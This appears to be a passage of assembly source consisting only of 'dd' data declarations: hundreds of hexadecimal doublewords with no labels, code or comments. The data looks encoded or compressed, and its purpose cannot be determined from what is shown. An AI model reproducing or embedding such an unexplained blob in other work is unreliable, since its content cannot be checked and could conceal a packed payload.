		dd 0E22DDF65h, 80E0712Ah, 0D2495B00h, 7047D975h, 0D60C0057h
		dd 7168311h, 8000693Fh,	0E0C37736h, 0AF9E1A6h, 0C659BC70h
		dd 567AC0CCh, 25215C3Ah, 0EEE9135h, 23542214h, 818BD4BBh
		dd 61EA5E4Dh, 40C24B64h, 9BED6028h, 84D57078h, 956AD8E8h
		dd 23117039h, 2D73FE80h, 6442FCD1h, 73C41AC0h, 4600813Bh
		dd 91427E10h, 9823BF17h, 515D326Ch, 3B302A98h, 8C60349Eh
		dd 0D34C7090h, 0E7019E30h, 5EBBCF3Ah, 0B4514B82h, 9857DEF0h
		dd 8E270670h, 0F37F0080h, 0F434B4D3h, 1103A6E6h, 9542BF1Dh
		dd 56700912h, 2029C68Dh, 8841AC0Dh, 87B38B18h, 0B6F580D8h
		dd 18916948h, 941805D1h, 0A1E0D770h, 0FA17F271h, 8E1FD174h
		dd 0C740873Fh, 0D7804E8Dh, 1AF8682h, 6530C334h,	86CB0239h
		dd 643D5849h, 91881FA1h
		dd 0C07D1FA2h, 84A7C082h, 5C71CE0Ch, 0D3FB4A00h, 7EA7901h
		dd 96E600C6h, 2D3B8318h, 0BC038C7Ah, 105D237Eh,	818FA105h
		dd 8CC43820h, 0F0567C02h, 1637555Ch, 54241A16h,	738E8400h
		dd 1E5C9B17h, 0E6C03D02h, 63F8442Ch, 5C04E810h,	223443F5h
		dd 181E00E9h, 28706B54h, 0DB63F036h, 0F004FD39h, 506E2D07h
		dd 8C2EBCFCh, 0F192BA04h, 0EC6256D0h, 1207D4A0h, 20072AFh
		dd 6DC8475Bh, 2930652h,	885EA2A1h, 0E89FDB09h, 62D5ED08h
		dd 0B8405387h, 6600A14Ah, 0B3C878E7h, 1DD8E954h, 182FBD35h
		dd 5E55E1D1h, 0DA819514h, 1242338h, 0D103AF2Ch,	806C3366h
		dd 6D9264F9h, 28AD1E96h, 7536C021h, 0B25B9BAEh,	5F87CA01h
		dd 0D8054489h, 0DCCFC044h, 1FC05388h, 54F676A5h, 7A0C025h
		dd 280B92EBh, 0A98630DFh, 36013789h, 0DA804643h, 4473EA23h
		dd 0FD002223h, 0C4D12C73h, 2F8085A4h, 0AB4B73CBh, 0C6C905Ch
		dd 1DF1C82Eh, 0DD3B2079h, 5DB8500Dh, 374DF900h,	0C49D3339h
		dd 0D974F3h, 18B4939Eh,	26E19623h, 84304E70h, 0EB8B417Dh
		dd 8A3C1C4Fh, 0F4C1D4ACh, 0EEE24C53h, 22256032h, 9969h
		dd 6C9930D4h, 0BC018909h, 737286ECh, 23F0DC5Dh,	0B63A013Eh
		dd 8CDE43D9h, 1B6C301Ah, 0BA8DC00Bh, 0CA8000ACh, 1F83A997h
		dd 8142D8FAh, 209DD8Ch,	6D93EBC9h, 787BA0AFh, 0B7070F76h
		dd 32F27D8Dh, 6064A622h, 1D7218h, 30F073DCh, 1A41DD88h
		dd 0FCB10F07h, 2FD01E8Eh, 7B5BF8F9h, 5D6C0060h,	98F048CCh
		dd 0BCB13F9Ch, 638DFC00h, 0FE46D3h, 8F92CDBFh, 0D91F34C5h
		dd 2657C101h, 50306044h, 1D5C7C0h, 1BD7512Ch, 0CCE16A5Eh
		dd 1126C5F0h, 3200EE4Fh, 18845994h, 2B37003Eh, 0CE26602Fh
		dd 0EC004135h, 9812EAA0h, 0E5D0A3Fh, 61831411h,	89F35480h
		dd 0C2CCD652h, 0C014072h, 14E2DFB5h, 0FD062F81h, 79BE27F2h
		dd 0C9E101F8h, 0D2B4DFBFh, 0A8C280D5h, 0E303D430h, 3E19006Ah
		dd 0ED2CC61Fh, 3A00CB01h, 1DADFB2Bh, 61A68FFh, 1C811BB7h
		dd 310008DFh, 784D5E5Bh, 22BB58h, 0E4962C10h, 209CEC69h
		dd 9B40CC60h, 1E08554Fh, 4C7C452Eh, 0AE085D19h,	0A0401B6Fh
		dd 34ABD744h, 64230052h, 49EC8F9h, 940ECC6Ah, 81E6502Ah
		dd 139B9931h, 0A974EE8Eh, 701FA180h, 0B700911Ah, 0CB67F5Ch
		dd 0CBADA2h, 0DA99D521h, 0C35D48E9h, 40C08E77h,	0BAFA1CBBh
		dd 0C00F6004h, 0F87A179Ch, 81A9E439h, 985E22F2h, 5BCC6DAEh
		dd 187B0039h, 1E2B3E6h,	0D10230F6h, 4609DE1Bh, 7F34C094h
		dd 497A1C44h, 0AAA140B0h, 0F7C41DFCh, 66550716h, 0E3C0E600h
		dd 0CA3010h, 2AFFD14Ah,	580F20EFh, 7B68800h, 0BB84EC71h
		dd 4C6403A1h, 23799106h, 0BCCA73E8h, 36EF48h, 0B3814107h
		dd 0AE6CE7h, 9D280E19h,	0F96BDD12h, 9CD3B400h, 96FD8F75h
		dd 62840033h, 74305A2Eh, 2900F5F1h, 0E9D7F89Dh,	30A663B6h
		dd 0CF4008A5h, 0D800B26Ch, 0D002FDD4h, 639E78h,	72A0FA38h
		dd 6B7D3477h, 0D6FB4200h, 121FA87Fh, 0C978D82Bh, 0D71CBEBDh
		dd 0D5DBC5D2h, 1618BEAEh, 31059Dh, 9F1C386Fh, 8C6283Bh
		dd 20D448h, 77311DFBh, 27496CB2h, 29B5BB1Dh, 46160A7Ah
		dd 0FF00AC90h, 0DE92DA0Ah, 883E03A2h, 8BE615F3h, 80BDCCA1h
		dd 99F2DF20h, 1B10FEB4h, 399779EFh, 80EDC1A1h, 523850A1h
		dd 0CC4BBCh, 0D98D4210h, 0F1BF8B93h, 1FD720C0h,	768966D2h
		dd 0EB870C78h, 1C08DF70h, 0B0509360h, 3B176625h, 2F0095ACh
		dd 408F4AA2h, 71019474h, 0C4537A84h, 8058D4D7h,	0DF31041Ch
		dd 32127024h, 14E620B4h, 0D9387431h, 0AE8E008Fh, 5DAAC627h
		dd 51D370BBh, 0CD416044h, 3C44D5Bh, 95720005h, 0E2656A4Bh
		dd 7F0013E9h, 0BBC0E6B5h, 2274D7h, 93837D3Ch, 66FFEAB7h
		dd 0A10604E8h, 0A6C7AABh, 167804D1h, 8014D61Bh,	8AFB5C00h
		dd 0FEEA4907h, 7260F583h, 0C0D32FBEh, 173BBA20h, 6F53F603h
		dd 0FF848420h, 51A8C560h, 0CF83E06h, 0C9D343h, 0D050DDF7h
		dd 0A67FC258h, 7E74B2ECh, 2D21DB60h, 39AF53D6h,	0CFA63E5Ah
		dd 0B8D90E6Ch, 380F92Bh, 9CB9D0D7h, 38A1A707h, 6A70F1C3h
		dd 635902h, 0E5D4820Ah,	26D27DB5h, 0E80F1718h, 3AFAA0h
		dd 6FDB2AF8h, 65791C44h, 90DA2B2Ah, 0E6DF00A8h,	589F1503h
		dd 0E030C5D6h, 0C0F35BA1h, 0DF652540h, 0E0C6B629h, 83F96341h
		dd 1E60ACF8h, 2410C531h, 0B2C81C20h, 3116F880h,	24801AB5h
		dd 31981E25h, 83F59B50h, 0EF5A9469h, 0C86AC8F1h, 594F0085h
		dd 7827F8F0h, 0C6B00735h, 0FFD63Dh, 0E31ED879h,	5D98Ah
		dd 91CD8DDDh, 45AD6A32h, 65692707h, 0AE17A92Ch,	34EF7150h
		dd 4F3E138Ah, 0C21C54h,	0EDC37312h, 4A2699D1h, 0EE006123h
		dd 5C2784A5h, 3B060028h, 0F8CC7AC3h, 33EE6610h,	0F64239h
		dd 43FE705Ah, 1EB23761h, 8006B016h, 0D055A382h,	3A07BC7Fh
		dd 0FE8176D3h, 0E89BDBE0h, 15470051h, 86B21D66h, 791C7467h
		dd 386EADh, 0F9100F9Ah,	6B9849h, 9B4885ABh, 6AACD6C5h
		dd 0F00410D1h, 0C2952F3Bh, 0C35A3310h, 4AB6A980h, 84006173h
		dd 0F80F9304h, 3383249Ah, 0E828F70Eh, 300FF692h, 48489084h
		dd 0F91F4317h, 7C925111h, 21B5C211h, 708A1F7Bh,	608BF629h
		dd 894A1080h, 0D1D9104Fh, 0ABEC3FD8h, 45B19680h, 63E4D0C5h
		dd 0BA9B1F00h, 1EDEE36Ah, 708F0037h, 449FCD58h,	43074791h
		dd 0B0084D60h, 2F3D4880h, 384C00A1h, 576B637h, 7A1C1092h
		dd 1B802B5Ch, 0BD5F60EBh, 0A1D50730h, 0F5EFD4ACh, 6794804Ah
		dd 200029B7h, 1FEC61BEh, 0C77C80h, 909F5428h, 0F13B26A5h
		dd 0D051A900h, 12A05E04h, 64860B09h, 0C8005542h, 9EFAC06Eh
		dd 723E5C7Fh, 0FBD88076h, 0F8FD7C94h, 21A00312h, 2B5DBD65h
		dd 0E88476D8h, 90DD8A8h, 0A835AA00h, 0C120FCC5h, 961703FAh
		dd 56E771E0h, 40059FD8h, 0FB21DE03h, 9E8562h, 0F6C8D310h
		dd 0C3EE7797h, 0DD023000h, 0D6BFB724h, 0EA6F008Fh, 558927E2h
		dd 3B00E8B2h, 3AE4DC20h, 2CD74D69h, 289A59FBh, 0B88D2818h
		dd 5F2400A8h, 0F1AF343Ah, 16007C8Ah, 53F66603h,	0E107ABh
		dd 8E9EA1D9h, 71ED9950h, 0B2E608C0h, 26576F9Ch,	0C3F9BAh
		dd 39C05F2Fh, 0C9161E6Ch, 8E0340E3h, 0C8C11AFBh, 734C8Fh
		dd 9FAD5C05h, 8B070919h, 9CE7AB03h, 0F077EE57h,	1E4E8F50h
		dd 32B108h, 0F22DFC85h,	0E0006664h, 173D02A6h, 1BA5AD2h
		dd 904854DFh, 0D45F0777h, 8765627h, 6FEA73Bh, 4D731F45h
		dd 78C10070h, 721828DCh, 0DA1EAD23h, 0A85C7D16h, 4F7FD4C3h
		dd 0C800B5A6h, 44F12201h, 0BE7C0041h, 0E8CA4218h, 723F58FCh
		dd 0C6BCD5A3h, 4188BDE0h, 0D547500h, 182A3C49h,	6B7300F5h
		dd 173481CCh, 0CFF0F459h, 648B048h, 0F76218AAh,	4CFAEC20h
		dd 0DD0040F3h, 765A1A90h, 9AF22265h, 0A0080849h, 0EE750B06h
		dd 0D66D0FA1h, 68415EE2h, 20652FB9h, 81046E38h,	0AFC0CFB2h
		dd 39E76300h, 0EA262FD2h, 56000082h, 36ADDD18h,	0B04090A8h
		dd 324300A2h, 7CEC6417h, 20005F50h, 5B94DAE6h, 3EB2318h
		dd 8C02C181h, 84B8FD3Fh, 9AA0136Dh, 54005296h, 0A01ADB1Eh
		dd 9D2C7Ah, 2A0DB5A5h, 0D0073AFCh, 8761FF18h, 772BE0h
		dd 0A9E5AA2Dh, 155889B6h, 0DE3D2800h, 33798362h, 59350C0Ah
		dd 7430CED7h, 68E57F0Ch, 8411C7h, 1179F92Bh, 0CAE157B6h
		dd 610731B0h, 0CE9684Eh, 40017F70h, 0DF030127h,	0D741043Fh
		dd 2DC5ECA6h, 25D4400h
		dd 6F82AEB0h, 0AFFF0161h, 37861F1Dh, 0F64820A3h, 0AA445200h
		dd 6D2404B9h, 0A9710A75h, 199410ECh, 0E8607E37h, 5500BFE9h
		dd 0C88E9326h, 0B69A4Ah, 80D84291h, 3845075Eh, 9CB14E0Ch
		dd 0D4D80Eh, 35A7C126h,	0DF649866h, 0BBC59900h,	4007F295h
		dd 4BF100C7h, 253CD4FEh, 3D0069E7h, 4852832Bh, 0A3B747Ah
		dd 7E2C0E77h, 72D400B0h, 0D7FE5863h, 71E3D00h, 0D1FF09BDh
		dd 0B06D005Ah, 8ECE522Ch, 3B0081ADh, 2D94BE49h,	4F9F421Ah
		dd 0CDA8F5h, 7D7B8D65h,	6A1251h, 2ED87DBh, 6E0B794Ch, 0EAF87100h
		dd 6FFBD937h, 0B0D5027Eh, 0F23C8090h, 0A605C680h, 0F4E1B942h
		dd 0C10BAF50h, 51DEBDh,	7344C53Ch, 49D400E9h, 8F87EA42h
		dd 8C03FBDBh, 0CD9C439Ah, 32A18146h, 0D3B7C0h, 613BBBFAh
		dd 0B67A2880h, 50F1400h, 6C9AD81h, 43E0185h, 35D85C4Bh
		dd 0DC3DD545h, 0FD1215F0h, 8C40CE82h, 0A8B37F08h, 0F22C03E2h
		dd 9E21D3E4h, 0DFC9A800h, 9F57FFF5h, 3EC108A9h,	7A005063h
		dd 95B81065h, 0F8BF382Bh, 64324001h, 0F2DD596Bh, 0C08BB061h
		dd 0CD905DA2h, 0B0347E24h, 6CE09A00h, 98539307h, 195760FCh
		dd 0C4FA5AF3h, 0A7021770h, 0B9611EC3h, 0C6C060EBh, 0E35B50A5h
		dd 2F7800A4h, 0AA0B7119h, 48096EBFh, 80ABE754h,	415F1D3Ch
		dd 504274C7h, 0F498B134h, 0A11A0640h, 387A0B6Ch, 0DD193E00h
		dd 0A3B36001h, 2A401F1Bh, 0B8BCC066h, 0AC231689h, 0D6195B00h
		dd 14E7C873h, 12DA00AAh, 13033441h, 160099B0h, 47838545h
		dd 984F7D1Dh, 0AF8F00C2h, 68DC32C2h, 600A2FEh, 0AEDD220Ch
		dd 5E89ABh, 867BF6AAh, 3E75590Ah, 7CA45C50h, 3880404Dh
		dd 1600F033h, 64BF2CF8h, 962E032h, 4E3EFE1Bh, 0A0DCEF87h
		dd 0A10F4E1h, 18CAAC00h, 2FAE501Fh, 0F8B0D8h, 860C74CFh
		dd 790B785Bh, 59D4BD00h, 0D2204BBCh, 8020F789h,	2FB0C8h
		dd 468AC401h, 0F7512564h, 21A01D30h, 0A8F420h, 54EADAA5h
		dd 0C0E74070h, 53D45D07h, 5CE0A32Fh, 2F1D636h, 0B65BDAC4h
		dd 1C600CCDh, 7F0CB044h, 100D9C8Dh, 62380136h, 7DCA511Dh
		dd 0D5F570D8h, 0AEFD8D03h, 53D0A7h, 0AFCEB929h,	0FE222C16h
		dd 65737D00h, 3BE31B0Bh, 0FF8BFh, 9793E055h, 5488017h
		dd 743A6300h, 0CF4736C3h, 58EA000Fh, 211891F0h,	613C2708h
		dd 579700E0h, 7AC65292h, 0E434034Fh, 1F4BCB01h,	2A7BECD8h
		dd 120077ECh, 0E6E052DEh, 1D196FA5h, 40AA7AF0h,	0F8CCA6C4h
		dd 0C000056Ch, 0E4A86B59h, 3CE3732Bh, 0CE80625Fh, 0C68EDCFCh
		dd 0C100E057h, 87BC31A1h, 0F87645h, 0D4AAD3C0h,	2A5A7E63h
		dd 0D8EC1600h, 53374FD7h, 0DC1C0047h, 598ED2E7h, 5A07D649h
		dd 4B5F84F6h, 0B498EA80h, 68390050h, 1A44A4Dh, 300910Ah
		dd 0CEFB4E9Dh, 0F8528A3h, 0C5FA3318h, 7DEF8A0h,	0EA07C921h
		dd 3CCEA947h, 93350F90h, 74E8A5h, 8166B3FEh, 3D42B260h
		dd 0FFC8CA00h, 1C155149h, 1FB70772h, 1AB4A8BDh,	905300B9h
		dd 5F3337CDh, 0BBA03C00h, 0C0E94402h, 0A37848h,	0E069886Fh
		dd 71C2FF14h, 0EA527B00h, 0EF160256h, 3EF007ACh, 501B1027h
		dd 83A1D376h, 0EB059C07h, 5590024Dh, 26DC0Dh, 2E6A4EA9h
		dd 6814E58Ch, 57DFD303h, 0C0EB863Ch, 111D0EEh, 181A15F4h
		dd 61C5E14Bh, 0D1D8F735h, 8409FEB4h, 722B7Ch, 0BCA1EA00h
		dd 0A05C0180h, 6E14734Bh, 94E18029h, 66880BC8h,	0DFA91EB2h
		dd 0EC3180A4h, 0F38F2105h, 139FDA01h, 2253E56Dh, 0C543AC40h
		dd 76500069h, 0F8B6A24Ah, 9A009834h, 0E009E966h, 8C372Ch
		dd 8E675E03h, 365A1BB0h, 8B4C3Fh, 0D3CBE6B8h, 2C98493Ah
		dd 2F3C22h, 0FAFF2E18h,	0E004E28h, 6BC81E3Fh, 1660716h
		dd 0A0E07315h, 429FB843h, 33614794h, 0E0F5D110h, 0D8C1830Ch
		dd 1D468D53h, 31002826h, 631B072Fh, 9F00D182h, 27DAF690h
		dd 75C3076h, 600B6F3Ah,	2356A06Eh, 2803C338h, 0ED96D048h
		dd 0F0BFC91Fh, 12AC0F8h, 0B7A543D1h, 0D0825AABh, 1A005DD6h
		dd 0F75267F4h, 732AD72h, 196A6F45h, 50381CBEh, 0EE6E2A00h
		dd 0B2B5D1FEh, 0C3783AE7h, 18969C80h, 77E5A69h,	138533Fh
		dd 0C423F2CDh, 4020C9E7h, 50BCE6D4h, 3085C08Eh,	0F23E380Eh
		dd 5800D9D8h, 0F1729C6Fh, 0A8F11h, 748C1C28h, 0B84D250Dh
		dd 0E844171Ch, 88579040h, 258521D4h, 8BFE947Bh,	63001137h
		dd 0B93035h, 3F6DA771h,	5EF4F93Ah, 0E0804950h, 79318775h
		dd 892EE054h, 284DAF20h, 0BCDE1Ch, 2D6078B8h, 8307BF3Fh
		dd 0C980A8DEh, 16531940h, 5FA007Ah, 8E39DE28h, 0DB3E6B47h
		dd 0B338F925h, 61800091h, 540AC1FAh, 750B0333h,	2AE03BCDh
		dd 3C48A2B2h, 8D00F4C4h, 0D4487F6Ch, 3570E51h, 32C9CC8Ah
		dd 0D407F022h, 6052C0E8h, 5677FF67h, 0D7F80460h, 0B7C20074h
		dd 178EE44Dh, 0D4007572h, 0E7736847h, 1D3E2B6Dh, 407F2E3Fh
		dd 62C3E5EEh, 1D005D57h, 59E7E015h, 3C21942h, 3C70DF5h
		dd 95A828CDh, 1600DA9Eh, 8104438h, 4EE30Eh, 0ABEA5BC2h
		dd 0B6F1E9B9h, 2F188300h, 6DAF3852h, 9AC706F3h,	68EDF60Fh
		dd 106A6B00h, 0D9093C1Dh, 41FA0363h, 0D7D572BCh, 0AA8646E8h
		dd 1FBA053Fh, 0F2008B6Dh, 0AF8207EBh, 0E3B7006Ch, 0F58404A6h
		dd 0CE399FE7h, 5C9B8034h, 6C8C5544h, 0B4671266h, 9994403Fh
		dd 0D4B2A3ABh, 0D2229403h, 98BB870Ch, 80BF31h, 0BAD88BADh
		dd 0E452ACBEh, 878A7500h, 65769862h, 5FD10ECDh,	45A9BB6Ah
		dd 0DB2B400h, 0AB024787h, 33B8BE68h, 6D4A025h, 2639B89h
		dd 0D9C48EA3h, 96E03062h, 35004A3Dh, 7F037B8Ch,	186CD2F6h
		dd 0A1E77E60h, 8007931h, 75DA47CAh, 84C6AEh, 88430E6Ah
		dd 426D9690h, 0BC35B1Ch, 0A8215900h, 666489h, 437D57DBh
		dd 0DD47FF16h, 0E7EE4890h, 593A90Eh, 40997890h,	0E61D2CACh
		dd 0A204005Ch, 65F2E9ABh, 0EDE04F03h, 81F59Fh, 80CA9CB0h
		dd 66D23214h, 6C054216h, 11AC1841h, 34F9D012h, 0B39B80DAh
		dd 1F5FAAEh, 68FCC3C0h,	606DB6E0h, 703F361Fh, 0F10B7D88h
		dd 80D375BAh, 964F53AAh, 90AA0083h, 281755A2h, 0CE60FC52h
		dd 9B71F560h, 0DBB30465h, 0C0C6ED9Dh, 30D27444h, 3709D800h
		dd 0EB8FD36Ah, 0B5F2CAEh, 3862832Ch, 0CCC9B86Ch, 50608043h
		dd 28B6C959h, 75A1281Bh, 0CD8100FEh, 0D31F231Ch, 2E02474Bh
		dd 0CEFDB2D9h, 0A724C0D8h, 430F13F5h, 0DCA4400Dh, 0D178BE53h
		dd 8B298F04h, 48C055B1h, 0F508C9C8h, 761060h, 8872DBE1h
		dd 695DF882h, 0C8F1E700h, 0E6A89152h, 3B7D77CDh, 0D780D838h
		dd 954ADC9Dh, 6901E051h, 88A4B20h, 0FED847E6h, 4FDE0019h
		dd 9B738ED3h, 5E006F0Ah, 45DC819Fh, 6D99C3h, 1152714Eh
		dd 7495E4AAh, 0A70766F8h, 3FAE02C1h, 0A0D52023h, 1F1094h
		dd 440EB763h, 9EA33211h, 38F7A730h, 0F14802h, 0FBF52F45h
		dd 0D14CAEFFh, 0B41A3606h, 9956E8h, 0A9A3F48h, 0C74A98F1h
		dd 34AB721Eh, 0EFFF0140h, 4BB22Fh, 0F0D48C6Ah, 0A0B01EAAh
		dd 5CF7ED0Fh, 9836C0DBh, 3F38ECA8h, 75EE6Fh, 76759ABAh
		dd 0FA2DD4BDh, 0FB61FF00h, 28E5B471h, 14FC09B5h, 160396ECh
		dd 1A883808h, 61F9E7Ah,	803B2568h, 0A451AF4Ah, 75270ECDh
		dd 0E0DC0133h, 4D1BA38Eh, 93A7DFA6h, 0D1E03A35h, 3214AF66h
		dd 1A4DF0Eh, 914537B7h,	2BDC9857h, 258E00F8h, 0FB8007A9h
		dd 7B00CEC6h, 0E3491B61h, 1E66AD0Ah, 8015348Ch,	0DBE54169h
		dd 3200DC60h
		dd 42742835h, 72BB0C3Ah, 0C7120111h, 13E2471Ch,	0CCD4D475h
		dd 1BAAA200h, 2D48049Ch, 9EFF0FDAh, 0CB20C1DFh,	6ECAB6E2h
		dd 7EA2A00h, 0E4EDB492h, 5FA6A0A7h, 75EF0542h, 81639DE5h
		dd 0C402F501h, 0BF070E69h, 0BE8ED268h, 4F4879B0h, 5DEC1D30h
		dd 0F1EDC0BAh, 1744F7C6h, 0DC57341Ch, 7E1898A8h, 53986C16h
		dd 1E430084h, 0FB3AADE1h, 7C00C7C4h, 0F14A8C5Fh, 5B7437h
		dd 4C4E3E1Bh, 0F9255238h, 0BCA0830Ch, 6A788DAh,	1E622618h
		dd 0E1F250DEh, 0D6E0B900h, 0D3DF5B4h, 0D87F412Ch, 0F90F2668h
		dd 808F4E75h, 0C1BD153Bh, 972B0088h, 0AF6103A5h, 983B71BEh
		dd 4DB0023h, 0CE50B96h,	0B59EA0DAh, 0EC2139DEh,	40C27E81h
		dd 2083707Dh, 0F31CD308h, 4CC06056h, 72DC512Eh,	89610C5Ah
		dd 9298D712h, 2A6A8300h, 0DF16919Dh, 0D376AEh, 1355DCF3h
		dd 0CC06D1D8h, 0FEB38B00h, 9938692Eh, 8FE09718h, 3A005E27h
		dd 25E2B7A0h, 0B673E8h,	0FC07736h, 51C21DD1h, 0FB976A01h
		dd 0B29BF619h, 12C31440h, 1D3D3AADh, 0F595BD82h, 0B080EE67h
		dd 403008E6h, 0FFCDA603h, 0C8E0E37Eh, 124F98h, 0D6544642h
		dd 0D5C193F6h, 9A06C807h, 91F08CB4h, 0F613B97Ah, 0E2B8BAh
		dd 1138755Ah, 44861D35h, 0F89B3A09h, 0D78000E8h, 62550Fh
		dd 0A91B2360h, 656FE199h, 3573DB00h, 4C6BC9F0h,	0E6AE3DB7h
		dd 1C37E26h, 3FB20917h,	0F080E65Dh, 4E1537C6h, 0DCF00E02h
		dd 80DFD7C5h, 0C14251A8h, 361400F5h, 0A1F8C3B4h, 0AC093160h
		dd 2A446Bh, 4D116D40h, 0B3E320EAh, 0C5C04301h, 3AFBC78Dh
		dd 24B47DF0h, 8038FFEFh, 0ED09422Fh, 3E1EC371h,	0FD806DBEh
		dd 107391E0h, 0A91C6036h, 2CB12D9Bh, 408C6000h,	848D1572h
		dd 3F30C0BFh, 0A86EF8A2h, 2D7FD30Fh, 0CDD097Dh,	3C09C0F4h
		dd 1E81F67Eh, 9A19A60Bh, 0DD7C3043h, 0B105AC00h, 3F93EAF1h
		dd 67EF3DC5h, 621D3B1h,	888AC6F0h, 0C05D1FF8h, 97F54B2Bh
		dd 5B02628Fh, 0BB753DB4h, 8234E025h, 0DEF70035h, 91BF7283h
		dd 66003FDBh, 18409221h, 7AFBE16Ah, 6513C70h, 56643FFFh
		dd 830F779Fh, 4D2F7E8h,	0B17E32C8h, 13D0E900h, 4EC31C3Ch
		dd 0C6DB140Ch, 63F98F0h, 46601009h, 31E2480h, 3900E8C1h
		dd 0E622F36Eh, 16D6B773h, 1FF46033h, 0EC554037h, 999D31AFh
		dd 56F5F300h, 947AA6EDh, 0D5320998h, 20008BFEh,	4807583Bh
		dd 1FDD2A03h, 0D8E3C23Ch, 32CFD10Ah, 9899B1B7h,	0D02AC381h
		dd 8C10F412h, 0B869BA00h, 49C7CA3Eh, 0A926033Ah, 7AE2611Dh
		dd 0D440418Ah, 82003481h, 0BB76CE68h, 1C96CFh, 0CCB5E1D5h
		dd 3A9BF522h, 0D009B600h, 8CD8FDE6h, 0EA8101FFh, 4D77C2D2h
		dd 4BF7DC7Dh, 0BB279200h, 0BADBC69Ah, 82C5009Dh, 0FD1F22B3h
		dd 6900D5A3h, 71E17FFCh, 12C1CC25h, 3D73BAEh, 4F1D59A8h
		dd 24E7BDC1h, 31802D3Ch, 402B0084h, 2B6CB33h, 0A809ADB0h
		dd 9F4E1Ch, 0E9927D8Ch,	80E707B1h, 637C055Ah, 76D2AFF7h
		dd 0BABE0880h, 9600A608h, 0DF5C8FE2h, 2C7D89F1h, 886CF2h
		dd 7599687Ch, 0ADE20C8Bh, 9A49F800h, 770741BEh,	0DD13036Fh
		dd 0F8B14EFh, 3AE02020h, 4E1F10A7h, 0B990E01Fh,	0A100DEF8h
		dd 0B1AD839Eh, 90FCDC04h, 0A3E400D4h, 8E528693h, 1E0040C8h
		dd 90C578A2h, 37B03CBh,	0A0C6269Fh, 5601D470h, 0C4140CA9h
		dd 0CEDF76DDh, 0E9410081h, 0E5CBA5ABh, 0F00ADB34h, 50717780h
		dd 3820431Ah, 0A1A7495Ch, 0F0C08C28h, 5BCF0081h, 1B34DF9Bh
		dd 8A043A71h, 0DA0F0C5Ch, 355FB0h, 5227494Fh, 0A153DED1h
		dd 8691B23Eh, 0D061ED6Dh, 1BC47F58h, 69FC0FEBh,	0AC043AC5h
		dd 9BD3061h, 43E18510h,	0CEE30E05h, 0D8029633h,	800BEFC7h
		dd 82B761D4h, 853F0C16h, 672945FBh, 0C472284h, 0B119B42h
		dd 1F5B211Fh, 0CF22A2A8h, 1B4A2281h, 62118F42h,	51733012h
		dd 1C5306h, 0D525F724h,	146BA5A7h, 2AF00C30h, 65B8E4h
		dd 0A66E216h, 42C81B7Dh, 34B25Ch, 0C50C8089h, 7725BD4Bh
		dd 0E7ED0081h, 98F852D1h, 0AD0007F3h, 0BC4B4945h, 0E637DFh
		dd 0FC997DAEh, 0D46432ABh, 0ECEFB500h, 0C033933Bh, 0F42F001Eh
		dd 0FB91F14Bh, 0B40009E8h, 19052C42h, 4FF39Bh, 0FE28BB52h
		dd 80E07746h, 92D2FA00h, 2FC858F6h, 99D31CEAh, 8AEE4037h
		dd 7D0DA6A0h, 93EBA15h,	0A30075CCh, 6A3018F0h, 7327E2Eh
		dd 36FE8350h, 7CBE51F9h, 8B888505h, 67C1C760h, 0B1E07839h
		dd 28C60008h, 5B9A1DEAh, 0DC50226Ah, 0E1C05FF4h, 0BA314F97h
		dd 947F45h, 660AA42Dh, 1B02E87Eh, 6514AD00h, 873B8F3Ch
		dd 50F00062h, 0F2D9B839h, 0A707C3A2h, 366EA4DCh, 248E6A20h
		dd 958D0089h, 8A69B2BDh, 0CF060E77h, 6EEC4D48h,	5ADF3B20h
		dd 6382B080h, 9FFDC63Fh, 0BBE8CA07h, 9D137281h,	0DD280393h
		dd 0AC45531h, 307FDE8h,	0BF718007h, 0DAA05737h,	2E8DE51Bh
		dd 14E24h, 0E174CB25h, 0EC386FD6h, 0C1D08014h, 86E278B9h
		dd 6B70C0h, 82E30626h, 14A90AD2h, 38D0D90Eh, 0FEEB4722h
		dd 0C3A0BCF0h, 7B1200F5h, 7355FA60h, 0C0A0C1C6h, 440067FDh
		dd 0DE44FC4h, 7D6F2293h, 3B7F61Ch, 79FFD614h, 40D03B26h
		dd 284E1EDEh, 540009ACh, 22B5DBC5h, 0F83FD5B7h,	23BE8069h
		dd 5A3B0325h, 567600FBh, 33521007h, 5492C574h, 0A323A700h
		dd 61AAB5DDh, 0C38A2657h, 34D4009Eh, 8DFB5912h,	80BAA101h
		dd 1E5DE03Eh, 6823420h,	9DD432B0h, 9402101Fh, 0DE29155Ch
		dd 0F52840F4h, 93C940FDh, 7B09DF0Ch, 12152814h,	0ED926CCh
		dd 0C8E3014Ch, 23A9B79Dh, 0F7208012h, 0AC6C8BCDh, 7CA20E6Dh
		dd 732044C2h, 0C915C848h, 361C9714h, 76B100E8h,	1465EBBAh
		dd 256E0013h, 0AB64FCD8h, 0B018C50h, 74212D73h,	0E2F02EBEh
		dd 0F710039Bh, 0D296F6FAh, 5126D880h, 68039F7Ah, 0BFC197CBh
		dd 0CAB8E8EFh, 0C9660062h, 0F038C69Bh, 400058C3h, 4492E89h
		dd 0B3E9D1h, 25462DE3h,	37124783h, 0D34CF901h, 4A24DF85h
		dd 1D74C6F0h, 1FC8BF7h,	0D29A6CB7h, 72D9FCE1h, 0E7835B00h
		dd 81BC3C8Dh, 9FF0096Eh, 3480E4C1h, 83283932h, 6D357800h
		dd 0C0DC16EFh, 0CD7B0Fh, 0BAE0979Ch, 1555F699h,	0B08CAF00h
		dd 0E2C6D26Ch, 0F83C0037h, 0D324AEF0h, 7000951Bh, 0EC164247h
		dd 201F6C0h, 3A8806A2h,	0A540A599h, 2900D5AAh, 300F22EFh
		dd 19AE5CFh, 63A6E03Dh,	60EDA7D1h, 0A500E890h, 0E3A0FE5Ah
		dd 6E379Ch, 2A8CD4F2h, 0E1FC29FAh, 0A10F5Ch, 0F31BCD25h
		dd 1C404EAh, 73994590h,	0E51C0985h, 3938F453h, 4D8BBD0Eh
		dd 5680FF26h, 9BC8EE76h, 0BA2200CBh, 7B7461F4h,	1D00AE7Ch
		dd 8ACC972Dh, 49E31Fh, 0FE9A33B1h, 0C34F257h, 177A8701h
		dd 8F81D4B7h, 105DC0h, 0BC94D31h, 0D0908D11h, 3D7AEA7Dh
		dd 884E6F30h, 730D378h,	0C1EC2662h, 78C8397h, 2CFC52B8h
		dd 19631403h, 0D28AB3CFh, 83A0E06Eh, 0E77033h, 7055F0BBh
		dd 0A2ADCFE0h, 9CD28B00h, 0DA8F87A3h, 8EC601AAh, 0B8DE3274h
		dd 6A58FE97h, 91DC5D00h, 192643BEh, 14BC7221h, 0E013A669h
		dd 0C04E681Ch, 96AD890Ah, 7401AA99h, 0E223A08h,	80EE1485h
